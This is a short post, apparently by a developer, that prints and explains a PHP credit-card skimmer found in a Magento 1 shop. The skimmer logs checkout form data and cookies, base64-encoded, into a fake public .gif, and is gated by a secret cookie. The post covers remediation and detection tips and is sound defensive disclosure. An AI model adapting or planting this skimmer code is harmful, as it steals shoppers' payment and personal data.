Magento Exploit - Base64 Encode of Form Data into gif File

Magento Exploit 4.php

<?php

if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) {
    $ARINFO = $_POST;
    $ARINFO['date'] = $_SERVER['REQUEST_TIME'];
    $ARINFO['ip'] = $_SERVER['REMOTE_ADDR'];
    $ARINFO['url'] = $_SERVER['REQUEST_URI'];
    if(isset($_COOKIE['frontend'])) $ARINFO['cookie'] = $_COOKIE['frontend'];
    if((strpos($_SERVER['REQUEST_URI'], 'checkout/onepage')) or (strpos($_SERVER['REQUEST_URI'], 'firecheckout')) or (strpos($_SERVER['REQUEST_URI'], 'onestepcheckout')))
    {
        //$log_entry =  base64_encode(serialize($ARINFO)) . "\n";
        //file_put_contents('D:/Magento/Shop/Web/media/catalog/product/s/t/st7512_300s_ol.gif', $log_entry, FILE_APPEND|LOCK_EX);
    }
}

if (isset($_COOKIE['3424ab90180b0e24133ab8981a00d72e']) AND ($_COOKIE['3424ab90180b0e24133ab8981a00d72e'] == '57bf2419a27d6ccaa6d0800c9b38d90f'))
{
    //file_put_contents('D:/Magento/Shop/Web/media/catalog/product/s/t/st7512_300s_ol.gif', "GIF\n");
}

Here's a Magento 1 exploit I inherited at a previous job. It had been there for about a year before I had even begun, but fortunately, I was able to remediate it rather quickly. It detects if POST form data is present from the checkout page, and if so, it base64 encodes all of the information the user has submitted during the checkout process and writes it to a bogus gif file. That gif file, being fully accessible from any browser, can then be downloaded and its contents base64 decoded, giving the malicious user all of the checkout data of the exploited users.

You'll notice the file path is indicative of a Windows machine, they had made the decision of running their web infrastructure on Windows for some reason. Best believe that was the biggest fight for change I made whilst at that position!

I suggest Magento admins regularly grep through their site's source code to look for suspicious hex, base64encode, and file_put_contents commands.

I purposely avoid disclosing ALL the details of these exploits I find. I want to help site owners secure their sites, not help black hats with their skillset. For that reason, the exact placement of this code and subsequent code responsible for its execution has been left out.